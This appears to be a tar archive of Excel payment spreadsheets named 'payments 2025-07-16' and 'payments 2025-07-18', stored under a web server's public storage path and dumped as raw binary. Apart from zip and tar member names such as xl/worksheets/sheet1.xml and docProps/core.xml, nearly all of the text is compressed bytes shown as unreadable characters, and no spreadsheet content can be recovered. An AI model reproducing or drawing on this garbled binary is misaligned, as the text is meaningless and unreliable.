��:��޺�	5�l��(SG��:�^��χ��Q��xH��&�v>X?c��k�*�(_����}�>��k�PKq?�Z�78�K_rels/.relsSV���j�0��{
�{���1F�^ʠ�2��l�$���-}�y����Î��O��v�y�;�؋Ӱ.JP��޵^�����Yű�3G�Ww�g)��>�qQC��D���b!�]�i$L��3����2n���oT�:Z
�h����[��4�ი��]��yN�,ە�>�>�j
-'
V�)�#��EF^6��n�8q"K��H��>_ׄ���eƏ�<⇄�Ud�v��
T�PKq?�Z�$�V��xl/_rels/workbook.xml.relsSV���j�0D�
��ZvZJ)�s)�\[����LlIh7m��UH��Ĭؙ�H��8�OL���*J�M���|4�g��[=�
&$��w�74�r}$�M<)p��EJ2GME���MҨ9��ɨ�^w(We�$���O��
��V �)��C�_�9��J�$���/�:dG]d���WK�s��s��<�[�V�tB��)?����0_!��!��4�E�ǩy���PKq?�Zad���EdocProps/app.xmlSV�SAn�0���1e�(
�b�:-rhPv��ZYD(��n��/%Ê��T�fg��T���=&��Wb�(E�ބ�C%��o>��|
.x��	I��j�B�����*�2ǵ�dZ���s�	��e:��4��]0/z����$���k�o�d(Ύ�״f�GO�S�~Z}��Y���I�B�ŷ�A�伩���K�|ҥ��R�8�dc݀#T�P��̶`i��G�!d�䩭D��8��!Y�,βs1b����3��LJN���9��rdp-�S���#�-;�����x9O<f�e|��?���E�y�rB�ဃvB?��Ǹw�x�5�v-$��L�0�>�M.���É�멤M�����mcx1O�_���E��P.���@�PKq?�Z.��sdocProps/core.xmlSV��_O�0��K_�h��2f��'IL��km�P�ڦ�:���:"������_�=i~�����WFO�p�HZ��rJ���$���4��On��\�L��Xp��'�}&씬mF�+�����q� ݒZ.�|	t��%����iLmO$[�=�~�2��PB=�t�Ep�?y :�������������`]׃z�a�!}�=��US�۪�"�"8W,�Z�Z'����/���g���9�G��d�˺ev��a�H�MR6I�lή��M6�8g,c����Vۛ���Qb����Z���ņ;�_`���۠/���c��A���Oؙ����������U�R�~K���^q�PKq?�Zs�{Y��xl/theme/theme1.xmlSV�YOo�6��S���l)u�:E��햦
�C��DK�)Q 餾
�q��aݰˀ�v�h�]�O�����
{�c���4i3lC�-������Q�z�A��!��c9�"������pp�m!�p`�ұfDZ�6?��7TDb��<��cEJ��-}���2OIkc.b�`(B;����n6kv�ib����xL}��Kksμ��+Q2��8�s�:E�
&N�#g��:Ĭc���
�e!�������?��y�^1UC��
�OIW�fN'�т���W����U\�����},uV���t�<5P�ʻ��n��o��׻ݮ�^���xw�n��[�
�]�U��[��Z�-�k+����5���A��d��s�d��
#�
�|,Q���
�D����b�<�X��YJ��\�#Aq&o��S�\��d!�����Q�!#��W�x��)z�����g�>~���O�8	u—�}��7��?�~���f���鯿|a*��'�?{��������%�H�iL$�E��>��6�2�F�V(pH���
��3�K�λ+���ק�+�Db�����.�˅ќ�L�n�4	���T��c|h��;�4��LM,{���� �8$	Q([�Bd�(��u���K>V�E]L�.ґ2ݠ1�efRB]���]����~�V����XVq�u<U86j�c�#ob��<�	��p� �!a�"��涘U��P��a�e����NLț�s��'�ǩQg�D:�C9�-��WF%x5C�1�'��K�:_Zߡad� ��T�R��j>������J�䴲�(��e{߂C̔<'�u�X���4�#��+�
�.V�\����,Ŷ�k�l���{L;P3Fnʼ�K0/�d>ȉ}~�c)��Ο���c���� ��%��dJ�r	���w~E�`s>���j��tK�o.��P�Z��
k]y;aN<�4�3K�N�fkބ�A8{��5ѰQ0#A��<,"န1r��8�3���z�i��[o'�,A�Ź5��Rc%J�j:��:BG����,��c����8~2+U��I��Ui�k�����m�4j
��H�T�XFU�4�,�ozn懋1�P�ΦE��Z�'CK�c⫚��\�SE�A���}z���
����9�P��x��/���k�2;0K#\֤���?/t�G�zv��ohJ�M��]S��
n+ȯ^���=ڱ�P�*�F�hrY����TB,{���J�u��Q�0R�4D�B�S� dO�v�������9���,ԕi�;"��
��]��P4�&�#r�ɠ٦����p���t>��KA�yzW+��Q��v*��m�-nzg>jS����
7>[��C��G���F��.�o19�ۚq���Z��]�l>5g�j�}��7w�g�w�������L>Z�3����m�M���{�p)���>��t�oPKq?�Z5T7�bxl/sharedStrings.xmlSV�T�N�@���Ytg옆Gj�EQ%��XɔX��3AeT�E���
h�#E-n-B�_����;�!�ج*[���{Μ����-�
� �.��Z�0ތZ_s�ϟ�EJ��y��D��t�	���8BH�P.\ږ��0M�l���Q�q�|��Зx��Lэ��m�d�1m˚7C?��x��c��.���s��0��:��S�}��;�d�<�����g?? 5cިi��)��A���gi�
CC��0�D����[�E�\��m$BEx�)o���*8�C�F�R�y_�m{�t����ɶ�a�+{�y�h���*�_�˰S��$�V��=�6�~�u����'�Wo��;Q�Q~Z`F��[5�ǩ�nJ��Ċa������X�ےA=C�?Uև���i���ĭ�,�`�#�q�<�Ȟ҅�jd_�.%0������^�EY�(�S��Q=h� o��'�e/L�Ix�PKq?�Z�A	�
xl/styles.xmlSV�VMo�0��WX�7�m�n" j#!�ШR�R�֪?�mVK}m��m۴�<��<3&���v�
S2��U��RUL6)���߮12�ʊr%!�=|��I��9<m,rw����m5�;��&�[k�;BL�A͕jA��ZiA�suC�[C+�'�(zOeg��D.�A��Mq�I��J��5@�hG��������[���?���+W�Hq�G��aI�H�@9+4� 	��R���M�|����g������d0��
 KZj-h�;���oa@B�э�}��Y,��P�r�3e��e	�ں�5[?Z�?i�Ψm���SN+F�і���/����F�$>W��"���t�F3���/����C����)�S��G�my��P��{�D:*|�f��1�9k��C����/)~eI�˓���%]����u^�eH�Ηt��~Oâ����|CN���񼏢c�2y��8�j_���!d����������-������c�`ϡ�)B��PKq?�Z�U���vxl/workbook.xmlSV�RMs�@��+̒�F�Bӡ!vZR:���P�ŖkM�ó�N�z��8$��E~�x��vv�Q2Y�udt.�ƙHP��"���_����"qt�h��:qV����}\�p�ԵPr���ЮP�v�h�o�i����iQs�6V�ghR�5P��+��Ͳ�T�-����k*�”�B�{�<��j�(f5I��L�m���y7R$��\��*���k?u$�d���؄užjѐ��
��`���o~�	��V��e.Xi輙��h/��5]u��ck���ib�"M���\5H�	�1�/�ҳ��mi��Cq��Z�������t˟A�\�d�kE��$�?�"�K[�{kś
6�Q��@ġ�+���5��ث�8��֤�
�-�Fj5��	K[K��y؆�
����Wٻ��1z�r�q4����&�t�Kq�x�-�Q�����o�й���Q��Fx�������~e~�%η��	�/��PKq?�Z@5W;��xl/worksheets/sheet1.xmlSV�W�r�8}߯�x0�lOM.N2�TRIv�Ya����K��u�M%Ƀ#u���O��f��P�3Nh5wo�:�JiF����y�m�:\�*C���}����k���o0Ly�RP�s�vؕŠ�ݍ��y��%��q���	����a
�RY��`��%"�A���`�<')���ĕ� H@L|Cjޠ��e�!�����i��
^IRF9ͅ��Ҹ�6ʉ?��y(?�)>AS�~$���m�
�j�fE
"^����f]Q�V��B�$z��0i1S���������nEA*�-���3\н�5�G��)�3�,f�T˚u���`z�He��{n��VO�������Ż��E*o@E�7t�Hv�@�
��Z�H�紸���h�kTa��Ts7r���P����ܽ�]�����ggE���
H*���?�R�+eH��(mzB���N��5�h�C�i��b�"9*i��
wKU;���h[���tDDk�w�w�x�ite@���F)-��uJ��*�=��f�c/�{+��R��3�n9��[ۘ��WY�
��`�Co2}0��0n�co4���ab�#`셣�x���1�'_��0��q�e�������(�2^00�r��4� �2h!co�}]�@-f��xn�>x�cLy{�Rz&��.�
8Hw�p8�wȘ\h��6IZ��=���*����{�k��m���&�R�(F���I7~D6z�E?�(��w��W��J,�`�5����r�Q��ʫ�2�*�;�]7e��e/߷ex��4�v�=�le/����>ñaX*'��z����K[�����r�q�Gnl�/��������:�6��i�Z��Y����z�C8:�ӣI���
f��C����q��CbbH��IL�!19��[��
�T=�i���f���j������Q���l%O��a�"�ƿ[XS@sw�w;�=�CW�F�!VmN3ۨM����)����F���'�G��e>�w��5M�+E�Z���D<Ӷ�1s��T�3�oF���W��1%��,�#NF�3��>�.w�jyhK¸h�ʅ�DlࣦymPA֕���z�,��)���P������5�'r�.�'�t�]ҙ�I��;�	X̄��x@Lp'��J4�f���PKq?�Z�KR"x�#xl/worksheets/_rels/sheet1.xml.relsSVM�1!{_A��@c�q���p+a!,1�{)-'��y����$�p�(bW�����~ݟAIG�0&_X��|��}4b5&,B���@e*�x�gi���uE�BO�h�I����PKq?�ZG�D�Z� [Content_Types].xmlPKq?�Z�78�K �_rels/.relsPKq?�Z�$�V�� �xl/_rels/workbook.xml.relsPKq?�Zad���E �docProps/app.xmlPKq?�Z.��s �docProps/core.xmlPKq?�Zs�{Y�� (xl/theme/theme1.xmlPKq?�Z5T7�b 
xl/sharedStrings.xmlPKq?�Z�A	�
 5xl/styles.xmlPKq?�Z�U���v mxl/workbook.xmlPKq?�Z@5W;�� �xl/worksheets/sheet1.xmlPKq?�Z�KR"x�# ixl/worksheets/_rels/sheet1.xml.relsPK�&PK!o((,3s58b1/payments 2025-07-18 12-09-53.xlsx.tarnu�[���var/www/html/back/storage/app/public/payments 2025-07-18 12-09-53.xlsx000075500000020750000000000000020157 0ustar00PK:a�ZG�D�Z�[Content_Types].xmlSV���N�0E�|E�-J��@5��*Q>`�'�UǶl���L����@�nbE�gr=��tW�d�>(k
6�r��V*�,���)�cI�`$hk�`{l:�/�CBb
V���9��Bf�RZ_C�W���
��o�k"���ƃM�/�Jb2��&�i�
��(#?�<t†]0pN+�
�#QS[�J��b]�$km�~�^c�
�#�P!�Zg��<��:&�;r�2���y�C�)�=�R���C�u��A�~�aK����ջ��K�ެY
��:��޺�	5�l��(SG��:�^��χ��Q��xH��&�v>X?c��k�*�(_����}�>��k�PK:a�Z�78�K_rels/.relsSV���j�0��{
�{���1F�^ʠ�2��l�$���-}�y����Î��O��v�y�;�؋Ӱ.JP��޵^�����Yű�3G�Ww�g)��>�qQC��D���b!�]�i$L��3����2n���oT�:Z
�h����[��4�ი��]��yN�,ە�>�>�j
-'
V�)�#��EF^6��n�8q"K��H��>_ׄ���eƏ�<⇄�Ud�v��
T�PK:a�Z�$�V��xl/_rels/workbook.xml.relsSV���j�0D�
��ZvZJ)�s)�\[����LlIh7m��UH��Ĭؙ�H��8�OL���*J�M���|4�g��[=�
&$��w�74�r}$�M<)p��EJ2GME���MҨ9��ɨ�^w(We�$���O��
��V �)��C�_�9��J�$���/�:dG]d���WK�s��s��<�[�V�tB��)?����0_!��!��4�E�ǩy���PK:a�Zad���EdocProps/app.xmlSV�SAn�0���1e�(
�b�:-rhPv��ZYD(��n��/%Ê��T�fg��T���=&��Wb�(E�ބ�C%��o>��|
.x��	I��j�B�����*�2ǵ�dZ���s�	��e:��4��]0/z����$���k�o�d(Ύ�״f�GO�S�~Z}��Y���I�B�ŷ�A�伩���K�|ҥ��R�8�dc݀#T�P��̶`i��G�!d�䩭D��8��!Y�,βs1b����3��LJN���9��rdp-�S���#�-;�����x9O<f�e|��?���E�y�rB�ဃvB?��Ǹw�x�5�v-$��L�0�>�M.���É�멤M�����mcx1O�_���E��P.���@�PK:a�Z�4>_sdocProps/core.xmlSV���N�0��<E�+J�*?Q$@=Q	�"�{iM۲Ҽ=�Ӧ-p�Mf�yw��f[W�8����l�HZ��jF����$���2f�OnʳB�\��Xp��'�}.쌬mN�k�����q5� ݊Z.6|t������iL�@$;��~�*��PA
=�F=d\�<��d����gto�WC�i�Q3��0F_Oq�T�*�,�ȅ�ƕ�z�M���^���z���Eh�]��m�G�ݚ=d��e�����~9'嘍�)�L��e6��u>��3�3֍q9P��M���)�TXAX-~e�dÝү0���]P�NYϱ��ɏ������A��6�6�I_���{�a��qmo�P'���PK:a�Zs�{Y��xl/theme/theme1.xmlSV�YOo�6��S���l)u�:E��햦
�C��DK�)Q 餾
�q��aݰˀ�v�h�]�O�����
{�c���4i3lC�-������Q�z�A��!��c9�"������pp�m!�p`�ұfDZ�6?��7TDb��<��cEJ��-}���2OIkc.b�`(B;����n6kv�ib����xL}��Kksμ��+Q2��8�s�:E�
&N�#g��:Ĭc���
�e!�������?��y�^1UC��
�OIW�fN'�т���W����U\�����},uV���t�<5P�ʻ��n��o��׻ݮ�^���xw�n��[�
�]�U��[��Z�-�k+����5���A��d��s�d��
#�
�|,Q���
�D����b�<�X��YJ��\�#Aq&o��S�\��d!�����Q�!#��W�x��)z�����g�>~���O�8	u—�}��7��?�~���f���鯿|a*��'�?{��������%�H�iL$�E��>��6�2�F�V(pH���
��3�K�λ+���ק�+�Db�����.�˅ќ�L�n�4	���T��c|h��;�4��LM,{���� �8$	Q([�Bd�(��u���K>V�E]L�.ґ2ݠ1�efRB]���]����~�V����XVq�u<U86j�c�#ob��<�	��p� �!a�"��涘U��P��a�e����NLț�s��'�ǩQg�D:�C9�-��WF%x5C�1�'��K�:_Zߡad� ��T�R��j>������J�䴲�(��e{߂C̔<'�u�X���4�#��+�
�.V�\����,Ŷ�k�l���{L;P3Fnʼ�K0/�d>ȉ}~�c)��Ο���c���� ��%��dJ�r	���w~E�`s>���j��tK�o.��P�Z��
k]y;aN<�4�3K�N�fkބ�A8{��5ѰQ0#A��<,"န1r��8�3���z�i��[o'�,A�Ź5��Rc%J�j:��:BG����,��c����8~2+U��I��Ui�k�����m�4j
��H�T�XFU�4�,�ozn懋1�P�ΦE��Z�'CK�c⫚��\�SE�A���}z���
����9�P��x��/���k�2;0K#\֤���?/t�G�zv��ohJ�M��]S��
n+ȯ^���=ڱ�P�*�F�hrY����TB,{���J�u��Q�0R�4D�B�S� dO�v�������9���,ԕi�;"��
��]��P4�&�#r�ɠ٦����p���t>��KA�yzW+��Q��v*��m�-nzg>jS����
7>[��C��G���F��.�o19�ۚq���Z��]�l>5g�j�}��7w�g�w�������L>Z�3����m�M���{�p)���>��t�oPK:a�Z灮k,xl/sharedStrings.xmlSV�W�NA��SL��W]wvY-�E�&�o��VIdAv1�b�M4!�&mL[��M��u�����+�IzWf��P
e��9���7d���ɦUq
%;��sT!��\Z)ثY������+���me�w��,�e�%p������EMs�׬bޙ+�-Oޔ*ż���U�)W����fYnq]3(�׊�����]بZ�JU��*iS�e�B.��X��1���`׼NX���9k�6��%k�]��	�.^��F��>e?��k,`g����m�N�
���L3���h"U?�	��c��'��E��_F��*���#���8RԤ�P��
/�H�4�Ɉ�v�$5֜����z:2�C��Z���t�����r��5�9Czp�E �H�$r�|�ӻ��iU��Ѥi�	.���(����*WR�F��a���?�a�*5�0�bX�)b��&A��wb6�-���3����J�!tѐ�U]f�4����gX��n=��Cffx!���^C�&�$3<',�Ib
��јz�l�Cjr��N�d�6�&d��פ��OTb}��F�r���SR���f�tg�8�d�	1�xP6R„ʞ7�-�t��9�16�1�5�^���1��6?�2�I�OXgg����?T[�	Fm,��}�����^�Ѯ�����}(����`aK0G��<W'��̻�aԁ��l�#���s�1�)n6��?����̣�av�
ʯ��ȻO��n� BA��C]�Y�2z�|�{�\r�,$P~�`"�DD~��;L0t�X�~����m�*-��k�7x]
��.�s+��c`��f(K\Dä���?%�_��OvE�p��G�.�gQɈ��h&�ƂP
?�r�PK:a�Z�A	�
xl/styles.xmlSV�VMo�0��WX�7�m�n" j#!�ШR�R�֪?�mVK}m��m۴�<��<3&���v�
S2��U��RUL6)���߮12�ʊr%!�=|��I��9<m,rw����m5�;��&�[k�;BL�A͕jA��ZiA�suC�[C+�'�(zOeg��D.�A��Mq�I��J��5@�hG��������[���?���+W�Hq�G��aI�H�@9+4� 	��R���M�|����g������d0��
 KZj-h�;���oa@B�э�}��Y,��P�r�3e��e	�ں�5[?Z�?i�Ψm���SN+F�і���/����F�$>W��"���t�F3���/����C����)�S��G�my��P��{�D:*|�f��1�9k��C����/)~eI�˓���%]����u^�eH�Ηt��~Oâ����|CN���񼏢c�2y��8�j_���!d����������-������c�`ϡ�)B��PK:a�Z�U���vxl/workbook.xmlSV�RMs�@��+̒�F�Bӡ!vZR:���P�ŖkM�ó�N�z��8$��E~�x��vv�Q2Y�udt.�ƙHP��"���_����"qt�h��:qV����}\�p�ԵPr���ЮP�v�h�o�i����iQs�6V�ghR�5P��+��Ͳ�T�-����k*�”�B�{�<��j�(f5I��L�m���y7R$��\��*���k?u$�d���؄užjѐ��
��`���o~�	��V��e.Xi輙��h/��5]u��ck���ib�"M���\5H�	�1�/�ҳ��mi��Cq��Z�������t˟A�\�d�kE��$�?�"�K[�{kś
6�Q��@ġ�+���5��ث�8��֤�
�-�Fj5��	K[K��y؆�
����Wٻ��1z�r�q4����&�t�Kq�x�-�Q�����o�й���Q��Fx�������~e~�%η��	�/��PK:a�Zl��t��-xl/worksheets/sheet1.xmlSV��[w�8��Sp�>�U�s����I'���}�{w�	�cNc��|�;�T<ٗĨ�*�G!�����͝'Y�YY\L�t>qd����x������o�ĩUR���,���U֓�/�u�\V�ꍔ����]�j㮒����i,��F���lV��M�i������j�(}X=�j퓬�H�|�y0�&Y�G8�N�Q��Y*e���BuA*�'J���d���euR�U�<���ctq�Y��g��fiU��ZM�r�w�e<��8_���/���MO�6�~�w��p;��!�3��ƚ8���(��!��Q�+I�A&v�Ӈ�#]��m�*g��JV�+�E�r���Rﷺ�W2/�ۡ�{��QM���|և�<_e�R75�Tr}1�$�p��)����sm�vT��C�2Ur��n���,5�{ݤ��ޔϟ�l�EwGW����k�^>_�����K�^�B:/?v��ě8�o?U��"��Z���Ɵ8I��'�-in��R�rێ����n[W�߲h���Ӯ=[��N�u��L��>Oׁ�C��[f���H�}�wۖ��<+�N���0�dE��o��'�o���itM�N��y�u���j\]t�K��9[���ći��A���]�t_�՝�_�ڔ�!l��zǀ����
��c@7��s��=���[@
�LJ�÷!ϧ����b
��q0>��,�}��ǡ��4�����R�Ub4�<����u�=(�\�W峣�8���7f3y��f�H�֫����t�Z�>]���	ԟ��N��S��)3����������)�yJ@�ѝ�F�ם·{�
��gwq�+��oȑ^۫�<E�Sn��oMcc�gd���Cl�GFBr���J����0a��Y"�i$�6m�4�'��|N�ޘ�@|oM� �Ϧ�'��/�{��G��A�~{k��a�f!$�i$7�5r$][�"p� �$a��`0ԺD�Ad���a�����e�05m>��Eh0�,�!�4�"Or[߅Ӱm%�!�E��F�L#��%ܮL� �µi�ɜ����5�FԈ��#j4TK��RE�F���Tcn�9���'U��
�`Ϡ1�5�"#�3X㮣k�a�O��,Ȇ�6�o}!i���>���'��6!�p‰)[d��b+��#��H��0r��(q��!l� !��G�4����&4S���KW�j,`��E�DN`a���0�nHq��4�t-/���,<�X���':-���l���0������p�lu�|u�lu�,N����r8��K�d�tO��G��0U���մ�E2�t�*�w&X�-X�%lZ]�f$��.qBJ�4�,aň�H�Х�Z���.c�W�
yS
*8�$z�D��ɂ��g#�I �d=��>G��݃0���
rv-H���n���{5����#BI�!A�֓$䑄,NȈppY"'Ih#�.�\�{�M�R$�H���G�H8":""�$�n%�Y1r+�H�jl��L�kM8�;N�P����֌�).�8!%��#S:��@�{�(AVJ]�(�wD	��XQ�3S�����NB'$��Q#��8��d�#W�8�a�,�XU�3[�9U�*�JpBJX�R�#:�N��"l
�;���aV�`_��
8��P*TpBJN!<"]I�FY-�ȕ���}�0�]��.�j�N��;xI�8!%|�v��h�o�Üv���e&��]��.�j�٪aN�@�	�j��8FxD�R	t
�x��֗I�m�B�~������S>�u	��ƱibD���4�}9®�4�S���'�~=��p�	Z�=`���
	Ft�)�,��(�j�������ٚ$�OI�J_!�� �Y��i0�o�*$e���M	[�Kz�x�K�����aN�A4��X�q	[��h:@�P(�+a�hUp���Ow��2�WK�dUal�	pG$�;g���s�CSL���A�b�b�s9��'�˸�˩'d��23�%{U޶�"����Y�gaWe���k7�:�o;�I^��[����H�S�(�L��L��r�-��n�^�[���W����'x8ڴ[�#��[��:�qu����%;Y��n7p:e��B�;m/&�A}Ҥ��������q�`��҇M�U�wU>?7���$�&gן۶#�*[�e�s}]�n�dq�p4�fU���m���fQ���ZI�=M[O�o�</W�n��4�o����5~K��x�y�>:��kGt���	��\5{s�%����������PK:a�Z�KR"x�#xl/worksheets/_rels/sheet1.xml.relsSVM�1!{_A��@c�q���p+a!,1�{)-'��y����$�p�(bW�����~ݟAIG�0&_X��|��}4b5&,B���@e*�x�gi���uE�BO�h�I����PK:a�ZG�D�Z� [Content_Types].xmlPK:a�Z�78�K �_rels/.relsPK:a�Z�$�V�� �xl/_rels/workbook.xml.relsPK:a�Zad���E �docProps/app.xmlPK:a�Z�4>_s �docProps/core.xmlPK:a�Zs�{Y�� (xl/theme/theme1.xmlPK:a�Z灮k, 
xl/sharedStrings.xmlPK:a�Z�A	�
 �xl/styles.xmlPK:a�Z�U���v �xl/workbook.xmlPK:a�Zl��t��- xl/worksheets/sheet1.xmlPK:a�Z�KR"x�# Dxl/worksheets/_rels/sheet1.xml.relsPK�PK!EO��&&,3s58b1/payments 2025-07-16 14-04-06.xlsx.tarnu�[���var/www/html/back/storage/app/public/payments 2025-07-16 14-04-06.xlsx000075500000017571000000000000020157 0ustar00PK�p�ZG�D�Z�[Content_Types].xmlSV���N�0E�|E�-J��@5��*Q>`�'�UǶl���L����@�nbE�gr=��tW�d�>(k
6�r��V*�,���)�cI�`$hk�`{l:�/�CBb
V���9��Bf�RZ_C�W���
��o�k"���ƃM�/�Jb2��&�i�
��(#?�<t†]0pN+�
�#QS[�J��b]�$km�~�^c�
�#�P!�Zg��<��:&�;r�2���y�C�)�=�R���C�u��A�~�aK����ջ��K�ެY
��:��޺�	5�l��(SG��:�^��χ��Q��xH��&�v>X?c��k�*�(_����}�>��k�PK�p�Z�78�K_rels/.relsSV���j�0��{
�{���1F�^ʠ�2��l�$���-}�y����Î��O��v�y�;�؋Ӱ.JP��޵^�����Yű�3G�Ww�g)��>�qQC��D���b!�]�i$L��3����2n���oT�:Z
�h����[��4�ი��]��yN�,ە�>�>�j
-'
V�)�#��EF^6��n�8q"K��H��>_ׄ���eƏ�<⇄�Ud�v��
T�PK�p�Z�$�V��xl/_rels/workbook.xml.relsSV���j�0D�
��ZvZJ)�s)�\[����LlIh7m��UH��Ĭؙ�H��8�OL���*J�M���|4�g��[=�
&$��w�74�r}$�M<)p��EJ2GME���MҨ9��ɨ�^w(We�$���O��
��V �)��C�_�9��J�$���/�:dG]d���WK�s��s��<�[�V�tB��)?����0_!��!��4�E�ǩy���PK�p�Zad���EdocProps/app.xmlSV�SAn�0���1e�(
�b�:-rhPv��ZYD(��n��/%Ê��T�fg��T���=&��Wb�(E�ބ�C%��o>��|
.x��	I��j�B�����*�2ǵ�dZ���s�	��e:��4��]0/z����$���k�o�d(Ύ�״f�GO�S�~Z}��Y���I�B�ŷ�A�伩���K�|ҥ��R�8�dc݀#T�P��̶`i��G�!d�䩭D��8��!Y�,βs1b����3��LJN���9��rdp-�S���#�-;�����x9O<f�e|��?���E�y�rB�ဃvB?��Ǹw�x�5�v-$��L�0�>�M.���É�멤M�����mcx1O�_���E��P.���@�PK�p�Z��rdocProps/core.xmlSV��QK�0��%��%�:�t���@p��1�nqm��]��i�u��M(��s���C��M]%��2zJ�#	ha���)yY<�7$�ȵ��0%-xr[����8xrƂC>	 �sa�d�hsJ�XA�($t0?��9��r��K�c�&��#�0��l�RH����B5h�4et�Ep�?�Ct~%k����ѝ9�7^
��iF�E���3�6|���JwU	 e!E.p4�|�km��z]�_^�c�=�C�
�]{?��5{�$�����׋�⁔c6�J�u�M�e��39g,g�����ۓ���Qb����Z|��ن3�_`�����/���c��A���O؛���m������UwS�~K����nq�PK�p�Zs�{Y��xl/theme/theme1.xmlSV�YOo�6��S���l)u�:E��햦
�C��DK�)Q 餾
�q��aݰˀ�v�h�]�O�����
{�c���4i3lC�-������Q�z�A��!��c9�"������pp�m!�p`�ұfDZ�6?��7TDb��<��cEJ��-}���2OIkc.b�`(B;����n6kv�ib����xL}��Kksμ��+Q2��8�s�:E�
&N�#g��:Ĭc���
�e!�������?��y�^1UC��
�OIW�fN'�т���W����U\�����},uV���t�<5P�ʻ��n��o��׻ݮ�^���xw�n��[�
�]�U��[��Z�-�k+����5���A��d��s�d��
#�
�|,Q���
�D����b�<�X��YJ��\�#Aq&o��S�\��d!�����Q�!#��W�x��)z�����g�>~���O�8	u—�}��7��?�~���f���鯿|a*��'�?{��������%�H�iL$�E��>��6�2�F�V(pH���
��3�K�λ+���ק�+�Db�����.�˅ќ�L�n�4	���T��c|h��;�4��LM,{���� �8$	Q([�Bd�(��u���K>V�E]L�.ґ2ݠ1�efRB]���]����~�V����XVq�u<U86j�c�#ob��<�	��p� �!a�"��涘U��P��a�e����NLț�s��'�ǩQg�D:�C9�-��WF%x5C�1�'��K�:_Zߡad� ��T�R��j>������J�䴲�(��e{߂C̔<'�u�X���4�#��+�
�.V�\����,Ŷ�k�l���{L;P3Fnʼ�K0/�d>ȉ}~�c)��Ο���c���� ��%��dJ�r	���w~E�`s>���j��tK�o.��P�Z��
k]y;aN<�4�3K�N�fkބ�A8{��5ѰQ0#A��<,"န1r��8�3���z�i��[o'�,A�Ź5��Rc%J�j:��:BG����,��c����8~2+U��I��Ui�k�����m�4j
��H�T�XFU�4�,�ozn懋1�P�ΦE��Z�'CK�c⫚��\�SE�A���}z���
����9�P��x��/���k�2;0K#\֤���?/t�G�zv��ohJ�M��]S��
n+ȯ^���=ڱ�P�*�F�hrY����TB,{���J�u��Q�0R�4D�B�S� dO�v�������9���,ԕi�;"��
��]��P4�&�#r�ɠ٦����p���t>��KA�yzW+��Q��v*��m�-nzg>jS����
7>[��C��G���F��.�o19�ۚq���Z��]�l>5g�j�}��7w�g�w�������L>Z�3����m�M���{�p)���>��t�oPK�p�Z��f��xl/sharedStrings.xmlSV�V�N�@��)V>�Tc;qB��9���{����!vP{��B%���V�-�{�pq!q^a��$�6��e�QY��x�f���uq�mu���u��:%Ř�f;��R�Y.)�_�P
�T^u����=e�zT�<����Jʊ���5�[\��eoƭ���q�ղ������vy�[�m���et=�U�Ga
��ְ��
�/)yS��^�*�u���蜮x�Q�7茺ԧ�.�˷�2�&.�x��O���I�b�.�G���j裵Eͷ����;~H�n=9�{��"RG�]_��I�w
d.kɡ��ۖ���M=�S�YU7"�h�ԕ�32t;
��IБ!��N��2�'g�U�,��
K�x��L	�c��q�#�
��/�ס7*�yo)�B!-¸��)��{()�)���.�� �f��G2�_���9����ߢ׀~ɣ�1YHS�i��
Ƕ��B9Ɵ�3-�L>�nZf�\���M��n�-}X�(�>��b$z���N����n��&�L��Q��]'5�[��yɷ�3ȪY���Z�@"�P�}�)5�t��ML�^@�
�0���m9F�o'J�H�
��I�K�����%hy?�Y]��~�s�iO�R�c&�l���������C��2��Š!e$�䍬��>6f觼7�|.�}:#�p�`����Vb��.:�
?莺�!��t���pɻ�Wx]�.�	�N|3k�3,3�B�qQ�}�3��g�����DN�p�#:�OQ��	/Zm�FQA���PK�p�Z�A	�
xl/styles.xmlSV�VMo�0��WX�7�m�n" j#!�ШR�R�֪?�mVK}m��m۴�<��<3&���v�
S2��U��RUL6)���߮12�ʊr%!�=|��I��9<m,rw����m5�;��&�[k�;BL�A͕jA��ZiA�suC�[C+�'�(zOeg��D.�A��Mq�I��J��5@�hG��������[���?���+W�Hq�G��aI�H�@9+4� 	��R���M�|����g������d0��
 KZj-h�;���oa@B�э�}��Y,��P�r�3e��e	�ں�5[?Z�?i�Ψm���SN+F�і���/����F�$>W��"���t�F3���/����C����)�S��G�my��P��{�D:*|�f��1�9k��C����/)~eI�˓���%]����u^�eH�Ηt��~Oâ����|CN���񼏢c�2y��8�j_���!d����������-������c�`ϡ�)B��PK�p�Z�U���vxl/workbook.xmlSV�RMs�@��+̒�F�Bӡ!vZR:���P�ŖkM�ó�N�z��8$��E~�x��vv�Q2Y�udt.�ƙHP��"���_����"qt�h��:qV����}\�p�ԵPr���ЮP�v�h�o�i����iQs�6V�ghR�5P��+��Ͳ�T�-����k*�”�B�{�<��j�(f5I��L�m���y7R$��\��*���k?u$�d���؄užjѐ��
��`���o~�	��V��e.Xi輙��h/��5]u��ck���ib�"M���\5H�	�1�/�ҳ��mi��Cq��Z�������t˟A�\�d�kE��$�?�"�K[�{kś
6�Q��@ġ�+���5��ث�8��֤�
�-�Fj5��	K[K��y؆�
����Wٻ��1z�r�q4����&�t�Kq�x�-�Q�����o�й���Q��Fx�������~e~�%η��	�/��PK�p�Z�%���xl/worksheets/sheet1.xmlSV��]w�8��Wp��m�M��&�������n�	�6�� �I�Jۚk�ٛ4�W�G#YBӏ/��z�u��rf��Ķh��,/�3����m5<)��`%�ٯ��?���Y���P�-!p�TI*�UMZ?S[����p^]��M��ۤ���²b�6��^��dJi[���$o���.�h��*O邥�--y+R�"�O�&����K�&��N����x���G���6Okְ�lۅ��e<�A?_�o�/)��M�үmR��U�\%�<�E�_��mmӋ�u����(���Z'���ۻ)��SU���Vy�i��e�"�َyI���mE|���`{i;|��.��鸓�O�\��Y������\ܓHVQ5���ў-�<=҂��fJ[f�c���V��o6l��γ/"����Ѷ�;�_��FtL̒6�*)���X	�3۳���#g���W�(f��o[I��g�-���qζ�GjVqQ���oZ��U��O��-�ڪ�VI�t�ڵ��� r:���-Z`�#%��@o��GOFWɮ��
�F���v��>���	,�d�h(eE��Z�\,5�H��E�����l��Qh[O��K���t׈�l�t��_e�d[A���E�� �w��QЍF��w�A'������a'��<yN�n���N�d�n��������ɤӓ��Q�Ir�$�L�F��W�q���E“��f{K��8����r� r�He�,V��h����`2?K��ʢ���U�c���?����*G ������WqPmOc⺣�p�`�<Mۏ���nD�^�婠�J�\����C�g`��]h�Fԡ;`Dq�g�Ä�q1a݈lW��Cƅ��F2����"FK�H��}֍��O�[��CTu�����:�`��H
�dBQ�@C�&��� he�M` �ށ�AД?���0�PwE��
L�#�a�Pc��&���)h�	
Lö1�440j�0�h�i�G�t/u��r�
